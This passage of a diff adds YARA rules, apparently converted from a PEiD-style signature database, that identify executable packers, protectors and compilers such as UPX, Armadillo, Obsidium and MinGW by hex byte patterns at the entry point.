+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 48 02 00 00 E8 F8 06 00 00 E8 47 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3 56 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 56 57 E8 23 FE FF FF 6A ?? 56 57 E8 F4 FC FF FF 83 C4 14 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _DAEMON_Protect_067__DAEMONUG_
+{
+	meta:
+		description = "DAEMON Protect 0.6.7 -> DAEMON/UG"
+	strings:
+		$0 = {60 60 9C 8C C9 32 C9 E3 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Yodas_Protector_102_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Yoda's Protector 1.02"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90 E9}
+		$1 = {E8 03 00 00 00 EB 01 90 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_64_Bit_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0 (64 Bit)"
+	strings:
+		$0 = {41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Excalibur_V103__forgot_
+{
+	meta:
+		description = "Excalibur V1.03 -> forgot"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+		$1 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _IMPPacker_10__Mahdi_Hezavehi_IMPOSTER_h_
+{
+	meta:
+		description = "IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER] (h)"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0
+}
+rule _UPX_0896_PE_DLL_
+{
+	meta:
+		description = "UPX 0.89.6 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 00 00 00 00 60 BE 1A 00 00 00 8D BE E6 00 00 FF 57 83 CD FF EB 0D 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_vxx_
+{
+	meta:
+		description = "Microsoft Visual C++ vx.x"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+		$1 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04}
+		$2 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 F4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 3B 02 00 00 E8 C6 01 00 00 E9 75 FF FF FF E8 BC 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 6B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 48 05 00 00 8B 5D FC 89 EC 5D C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXECryptor_2xx_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.xx (compressed resources)"
+	strings:
+		$0 = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+		$1 = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _LY_WGKX__wwwszleyucom_
+{
+	meta:
+		description = "LY_WGKX -> www.szleyu.com"
+	strings:
+		$0 = {4D 5A ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 52 53 46 58}
+		$1 = {4D 79 46 75 6E 00 62 73}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _SimplePack_V1X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x__mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (_mainCRTStartup)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypteXeC_101_
+{
+	meta:
+		description = "CrypteXeC 1.01"
+	strings:
+		$0 = {FD 25 29 70 E8 08 01 AE 12 3F E8 27 00 FD E9 12 00 3E 26 F6 D9 26 1C 99 2E F5 FD C3 84 19 22 C5 04 D3 AC E8 33 01 B4 0B CD 21 F5 3E 84 17 F6 DB AC E9 1C 00 F6 D9 35 AC 5E 90 E8 D4 FF F8 3D 19 F0 E8 CD FF 3C 28 E8 C8 FF FB 2C 49 C3 02 09 D7}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+		$1 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LameCrypt_v10_
+{
+	meta:
+		description = "LameCrypt v1.0"
+	strings:
+		$0 = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_26202623__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.620-2.623 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+		$1 = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _iPBProtect_v013_
+{
+	meta:
+		description = "iPBProtect v0.1.3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+		$1 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED 71 EB EB FA FF 83 C0 FC EB FF 70 ED 71 EB EB FA 0F 83 C0 F8 EB FF 70 ED 71 EB EB FA FF 83 C0 18 EB FF 70}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Obsidium_v10059_Final_
+{
+	meta:
+		description = "Obsidium v1.0.0.59 Final"
+	strings:
+		$0 = {E8 AB 1C}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v028__039_relocated_image_base__Delphi_NET_DLL_or_something_else___Dwing_
+{
+	meta:
+		description = "Upack v0.28 - 0.39 (relocated image base - Delphi, .NET, DLL or something else :) -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_DLL_aPLib_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [aPLib"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXcalibur_v103__forgotus_
+{
+	meta:
+		description = "eXcalibur v1.03 -> forgot/us"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+		$1 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 60 9C 9C 6A 63 73 0B EB 02 E8 E8 E8 06 00 00 00 E8 E8 73 F7 E8 E8 83 C4 04 EB 02 E8 E8 FF 0C 24 71 01 E8 79 E0 7A 01 E8 83 C4 04 9D EB 01 E8 E8 01 00 00 00 E9 5D 81 ED AE 28 40 00 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 E7 02 00 00 E8 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 B4 02 00 00 E8 60 E8}
+		$2 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Obsidium_13037__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.37 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+		$1 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_099_m_x_EXE_
+{
+	meta:
+		description = "aPack 0.99 -m -x [EXE]"
+	strings:
+		$0 = {8C CB BA 00 00 03 DA FC 33 F6 33 FF 4B 8E DB 8D 87 00 00 8E C0 B9 08 00 F3 A5 4A 75 EB 8E C3 8E D8 33 FF BE 00 00 05 00 00 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5__Fusion_4__BitArts_
+{
+	meta:
+		description = "Crunch 5 / Fusion 4 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VideoLanClient_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Video-Lan-Client"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _DAEMON_Protect_v067_
+{
+	meta:
+		description = "DAEMON Protect v0.6.7"
+	strings:
+		$0 = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+		$1 = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_v32x_main_
+{
+	meta:
+		description = "MinGW v3.2.x (main)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 F4 40 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 8D 07 00 00 83 EC 04 E8 85 02 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 02 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 F0 40 40 00 85 C0 74 1F 89 04 24 E8 C3 06 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 C1 06 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_V1X__cyclotron_
+{
+	meta:
+		description = "EmbedPE V1.X -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_80_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0 (DLL)"
+	strings:
+		$0 = {48 83 EC 28 83 FA 01 48 89 5C 24 38 48 89 74 24 40 48 89 7C 24 48 ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48}
+		$1 = {48 83 EC 28}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Stealth_v27_
+{
+	meta:
+		description = "EXE Stealth v2.7"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+		$1 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+		$2 = {EB 00 EB 17 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 90 E8 00 00 00 00 5D}
+		$3 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _UnoPiX_103110__BaGiE_
+{
+	meta:
+		description = "UnoPiX 1.03-1.10 -> BaGiE"
+	strings:
+		$0 = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00}
+		$1 = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 10}
+		$2 = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _HPA_
+{
+	meta:
+		description = "HPA"
+	strings:
+		$0 = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _GOES_graphics_file_
+{
+	meta:
+		description = "GOES graphics file"
+	strings:
+		$0 = {C8 C4 D9 40 C1 D9 C5 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_Modified_
+{
+	meta:
+		description = "UPX v1.03 - v1.04 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _RPoly_crypt_10b_from_Vaska_18032007__1905_
+{
+	meta:
+		description = "RPoly crypt 1.0b from Vaska (18.03.2007 - 19:05)"
+	strings:
+		$0 = {83 04 24 05 C3 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v300_
+{
+	meta:
+		description = "Armadillo v3.00"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Shield_V01bV08__SMoKE_
+{
+	meta:
+		description = "EXE Shield V0.1b-V0.8 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 ?? ?? ?? 5D EB 05 45 55 EB 04 ?? EB F9 ?? C3 E8 00 00 00 00 5D EB 01 ?? 81 ?? ?? ?? ?? ?? EB 02 ?? ?? 8D ?? ?? ?? ?? ?? EB 02 ?? ?? BA 9F 11 00 00 EB 01 ?? 8D ?? ?? ?? ?? ?? 8B 09 E8 14 00 00 00}
+		$1 = {E8 04 00 00 00 83 ?? ?? ?? 5D EB 05 45 55 EB 04 ?? EB F9 ?? C3 E8 00 00 00 00 5D EB 01 ?? 81 ?? ?? ?? ?? ?? EB 02 ?? ?? 8D ?? ?? ?? ?? ?? EB 02 ?? ?? BA 9F 11 00 00 EB 01 ?? 8D ?? ?? ?? ?? ?? 8B 09 E8 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58 40 50 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXFreak_V01__HMX0101_
+{
+	meta:
+		description = "UPXFreak V0.1 -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+		$1 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b2_v20b3_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b2, v2.0b3"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+		$1 = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Windows_Write_file_
+{
+	meta:
+		description = "Windows Write file"
+	strings:
+		$0 = {BE 00 00 00 AB 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Profiler_Areas_file_
+{
+	meta:
+		description = "Turbo Profiler Areas file"
+	strings:
+		$0 = {54 75 72 62 6F ?? 50 72 6F 66 69 6C 65 72 ?? 61 72 65 61 73 ?? 66 69 6C 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v253_
+{
+	meta:
+		description = "Armadillo v2.53"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+		$1 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
